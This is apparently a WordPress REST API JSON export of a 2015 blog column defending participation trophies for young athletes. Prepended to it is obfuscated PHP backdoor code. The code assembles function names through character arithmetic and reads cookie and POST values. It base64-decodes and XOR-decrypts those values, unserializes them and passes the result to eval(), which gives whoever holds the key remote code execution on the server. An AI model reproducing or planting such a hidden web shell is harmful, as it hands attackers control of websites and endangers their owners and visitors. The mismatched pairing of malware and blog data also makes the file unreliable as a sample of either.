$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":2308,"date":"2015-08-18T07:36:12","date_gmt":"2015-08-18T11:36:12","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=2308"},"modified":"2015-08-18T07:36:12","modified_gmt":"2015-08-18T11:36:12","slug":"you-get-a-trophy-you-get-a-trophy-you-get-a-trophy","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=2308","title":{"rendered":"You Get a Trophy! You Get a Trophy! You Get a Trophy!"},"content":{"rendered":"

So if you are predisposed to dislike the practice, don\u2019t think of them as participation trophies.<\/p>\n

Think of them as \u201cI put up with Mom and Dad video taping my every move and screaming at me\u00a0even though I am really trying as hard as I can\u201d trophies.<\/p>\n

Or \u201cI play this sport year round because they tell me it will make me a better player even though I haven\u2019t even lost all my baby teeth yet\u201d awards.<\/p>\n

Or \u201cI\u2019d rather be doing something else, but Dad signed me up for this even though I said I didn\u2019t want to do\u00a0it\u201d awards.<\/p>\n

In an era when so many parents \u2013 myself included \u2013 shower the latest technologies on our kids and work to provide them every advantage we can get, is a trophy really the one thing that will let them think that life might not be a struggle at times? Some parents outfit their kids for instructional leagues with the latest and greatest equipment and record every at bat, goal\u00a0or foul shot, but a trophy causes disillusionment? A trophy that was conceived by adults?<\/p>\n

This trend did not come from a referendum of 8-year-olds. Second graders did not rise up and demand athletic socialism. Adults came up with this idea. So the solution is for a millionaire to yank trophies away from his kids, tell them they don\u2019t deserve them and shame anyone else who thinks that a piece of plastic isn\u2019t that big of a deal?<\/p>\n

Many kids can\u2019t remember to do a chore you told them to do 90 seconds ago, so I don\u2019t see how a participation trophy will send them on some lifelong philosophical journey that will have them questioning the meaning of life because they finished in last place in a tournament and still got an award when they were 7.<\/p>\n

I might have a skewed perspective on this, however, because I officiate youth wrestling in the winter. But when I regularly see kids in tears before they even begin to compete<\/strong>,\u00a0<\/em>I don\u2019t know if we should be worrying about a trophy at the end. We should be taking stock of\u00a0the entire youth sports enterprise and how parents approach it.<\/p>\n

Youth sports can bring about so many benefits. Losing gracefully and applying the lessons from a negative experience can really benefit youngsters. But that comes from calm conversation which teaches perspective, not parents arguing over who deserves a trophy.<\/p>\n

Just make sure that before and after they get their grubby paws on that trophy that they have actually learned something else and that you and\/or the coaches\u00a0have helped them gain incremental improvement in the skills of the sport.<\/p>\n

If your kid gets something you don\u2019t think they really earned, don\u2019t take it away. Sit down with them and talk with them about the experience. Find out what they liked and didn\u2019t like. Put some context around the trophy. Let the kid enjoy it for one simple reason.<\/p>\n

They\u2019re a kid and sometimes it\u2019s nice to get something shiny. If you don\u2019t think they deserve it, take away the iPad, not the trophy.<\/p>\n

\u00a0<\/p>\n<\/body>","protected":false},"excerpt":{"rendered":"

I tried to resist, but I had want to weigh in with an alternate view on the kerfuffle about participation trophies for young athletes, sparked by NFL player James Harrison taking these kinds of trophies away from his 8 and…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"nf_dc_page":"","footnotes":""},"categories":[13],"tags":[],"class_list":["post-2308","post","type-post","status-publish","format-standard","hentry","category-sports","wpcat-13-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2308","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2308"}],"version-history":[{"count":1,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2308\/revisions"}],"predecessor-version":[{"id":2309,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/2308\/revisions\/2309"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2308"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2308"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2308"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}